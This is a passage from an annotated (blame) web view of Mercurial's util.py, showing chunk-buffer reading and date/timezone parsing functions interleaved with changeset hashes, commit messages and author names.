1917 for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1918 queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1919 target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1920 if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1921 break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1922 if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1923 break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1924 |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1925 # The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1926 # chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1927 # where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1928 # mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1929 # queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1930 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1931 chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1932 chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1933 offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1934 |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1935 # Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1936 if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1937 left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1938 queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1939 buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1940 # self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1941 continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1942 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1943 chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1944 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1945 # Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1946 if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1947 left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1948 queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1949 # offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1950 # copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1951 buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1952 self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1953 |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1954 # Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
1955 else: |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1956 buf.append(chunk[offset:offset + left]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1957 self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
1958 left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1959 |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
1960 return ''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
1961 |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
1962 def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1963 """Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
1964 (default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1965 to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1966 chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1967 some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1968 requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1969 assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1970 assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1971 while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1972 if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1973 nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1974 else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1975 nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
1976 s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1977 if not s: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1978 break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1979 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
1980 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
1981 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
1982 |
19287
8b04e1344111
util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents:
19286
diff
changeset
|
1983 def makedate(timestamp=None): |
8b04e1344111
util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents:
19286
diff
changeset
|
1984 '''Return a unix timestamp (or the current time) as a (unixtime, |
8b04e1344111
util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents:
19286
diff
changeset
|
1985 offset) tuple based off the local timezone.''' |
8b04e1344111
util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents:
19286
diff
changeset
|
1986 if timestamp is None: |
8b04e1344111
util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents:
19286
diff
changeset
|
1987 timestamp = time.time() |
19286
78501209488a
util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents:
19211
diff
changeset
|
1988 if timestamp < 0: |
13063
e98581d44f0b
makedate: abort on negative timestamps (issue2513)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13062
diff
changeset
|
1989 hint = _("check your clock") |
19286
78501209488a
util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents:
19211
diff
changeset
|
1990 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) |
78501209488a
util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents:
19211
diff
changeset
|
1991 delta = (datetime.datetime.utcfromtimestamp(timestamp) - |
78501209488a
util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents:
19211
diff
changeset
|
1992 datetime.datetime.fromtimestamp(timestamp)) |
15505
ae04af1ce78d
makedate: wrong timezone offset if DST rules changed this year (issue2511)
Dmitry Panov <dop@itoolabs.com>
parents:
15496
diff
changeset
|
1993 tz = delta.days * 86400 + delta.seconds |
19286
78501209488a
util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents:
19211
diff
changeset
|
1994 return timestamp, tz |
1329
8f06817bf266
Allow files to be opened in text mode, even on Windows.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1321
diff
changeset
|
1995 |
6229
c3182eeb70ea
dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents:
6224
diff
changeset
|
1996 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): |
1321
b47f96a178a3
Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1320
diff
changeset
|
1997 """represent a (unixtime, offset) tuple as a localized time. |
b47f96a178a3
Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1320
diff
changeset
|
1998 unixtime is seconds since the epoch, and offset is the time zone's |
28865
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
1999 number of seconds away from UTC. |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2000 |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2001 >>> datestr((0, 0)) |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2002 'Thu Jan 01 00:00:00 1970 +0000' |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2003 >>> datestr((42, 0)) |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2004 'Thu Jan 01 00:00:42 1970 +0000' |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2005 >>> datestr((-42, 0)) |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2006 'Wed Dec 31 23:59:18 1969 +0000' |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2007 >>> datestr((0x7fffffff, 0)) |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2008 'Tue Jan 19 03:14:07 2038 +0000' |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2009 >>> datestr((-0x80000000, 0)) |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2010 'Fri Dec 13 20:45:52 1901 +0000' |
16255662446d
util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents:
28864
diff
changeset
|
2011 """ |
1321
b47f96a178a3
Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1320
diff
changeset
|
2012 t, tz = date or makedate() |
19989
c38c3fdc8b93
date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents:
19951
diff
changeset
|
2013 if "%1" in format or "%2" in format or "%z" in format: |
6229
c3182eeb70ea
dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents:
6224
diff
changeset
|
2014 sign = (tz > 0) and "-" or "+" |
9029
0001e49f1c11
compat: use // for integer division
Alejandro Santos <alejolp@alejolp.com>
parents:
8938
diff
changeset
|
2015 minutes = abs(tz) // 60 |
27066
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
2016 q, r = divmod(minutes, 60) |
19989
c38c3fdc8b93
date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents:
19951
diff
changeset
|
2017 format = format.replace("%z", "%1%2") |
27066
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
2018 format = format.replace("%1", "%c%02d" % (sign, q)) |
6f1f8e88f036
util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27016
diff
changeset
|
2019 format = format.replace("%2", "%02d" % r) |
28825
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2020 d = t - tz |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2021 if d > 0x7fffffff: |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2022 d = 0x7fffffff |
28864
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
2023 elif d < -0x80000000: |
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
2024 d = -0x80000000 |
28825
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2025 # Never use time.gmtime() and datetime.datetime.fromtimestamp() |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2026 # because they use the gmtime() system call which is buggy on Windows |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2027 # for negative values. |
87c6ad2251d8
date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents:
28818
diff
changeset
|
2028 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) |
31449
756175623f2e
py3: call strftime() with native str type
Yuya Nishihara <yuya@tcha.org>
parents:
31448
diff
changeset
|
2029 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) |
1987
04c17fc39c84
add changelog style to command line template.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1976
diff
changeset
|
2030 return s |
1829
b0f6af327fd4
hgwebdir: export collections of repos
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
2031 |
6134
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
2032 def shortdate(date=None): |
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
2033 """turn (timestamp, tzoff) tuple into iso 8631 date.""" |
6229
c3182eeb70ea
dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents:
6224
diff
changeset
|
2034 return datestr(date, format='%Y-%m-%d') |
6134
7b937b26adf7
Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6111
diff
changeset
|
2035 |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2036 def parsetimezone(s): |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2037 """find a trailing timezone, if any, in string, and return a |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2038 (offset, remainder) pair""" |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2039 |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2040 if s.endswith("GMT") or s.endswith("UTC"): |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2041 return 0, s[:-3].rstrip() |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2042 |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2043 # Unix-style timezones [+-]hhmm |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2044 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2045 sign = (s[-5] == "+") and 1 or -1 |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2046 hours = int(s[-4:-2]) |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2047 minutes = int(s[-2:]) |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2048 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() |
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2049 |
29637
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2050 # ISO8601 trailing Z |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2051 if s.endswith("Z") and s[-2:-1].isdigit(): |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2052 return 0, s[:-1] |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2053 |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2054 # ISO8601-style [+-]hh:mm |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2055 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2056 s[-5:-3].isdigit() and s[-2:].isdigit()): |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2057 sign = (s[-6] == "+") and 1 or -1 |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2058 hours = int(s[-5:-3]) |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2059 minutes = int(s[-2:]) |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2060 return -sign * (hours * 60 + minutes) * 60, s[:-6] |
46b2ccce7fde
date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents:
29636
diff
changeset
|
2061 |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2062 return None, s |
26126
7b625baed995
util: extract function that parses timezone string
Yuya Nishihara <yuya@tcha.org>
parents:
26098
diff
changeset
|
2063 |
31393
8b6927eb7efd
util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31368
diff
changeset
|
2064 def strdate(string, format, defaults=None): |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2065 """parse a localized time string and return a (unixtime, offset) tuple. |
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2066 if the string cannot be parsed, ValueError is raised.""" |
31465
da83f12d7a88
util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31453
diff
changeset
|
2067 if defaults is None: |
da83f12d7a88
util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31453
diff
changeset
|
2068 defaults = {} |
31393
8b6927eb7efd
util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31368
diff
changeset
|
2069 |
3255
e96d2956eb4a
util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents:
3176
diff
changeset
|
2070 # NOTE: unixtime = localunixtime + offset |
29636
84ef4517de03
date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents:
29613
diff
changeset
|
2071 offset, date = parsetimezone(string) |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
2072 |
3812 | 2073 # add missing elements from defaults |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2074 usenow = False # default to using biased defaults |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2075 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity |
32154
52e222eef646
py3: use pycompat.bytestr instead of bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32153
diff
changeset
|
2076 part = pycompat.bytestr(part) |
3812 | 2077 found = [True for p in part if ("%"+p) in format] |
2078 if not found: | |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2079 date += "@" + defaults[part][usenow] |
3812 | 2080 format += "@%" + part[0] |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2081 else: |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2082 # We've found a specific time element, less specific time |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2083 # elements are relative to today |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2084 usenow = True |
3808
d6529582942a
improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents:
3807
diff
changeset
|
2085 |
32290
2959c3e986e0
py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32208
diff
changeset
|
2086 timetuple = time.strptime(encoding.strfromlocal(date), |
2959c3e986e0
py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32208
diff
changeset
|
2087 encoding.strfromlocal(format)) |
3256
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2088 localunixtime = int(calendar.timegm(timetuple)) |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2089 if offset is None: |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2090 # local timezone |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2091 unixtime = int(time.mktime(timetuple)) |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2092 offset = unixtime - localunixtime |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2093 else: |
e5c9a084ffe3
util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents:
3255
diff
changeset
|
2094 unixtime = localunixtime + offset |
3255
e96d2956eb4a
util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents:
3176
diff
changeset
|
2095 return unixtime, offset |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2096 |
26311
60dd8e3977f0
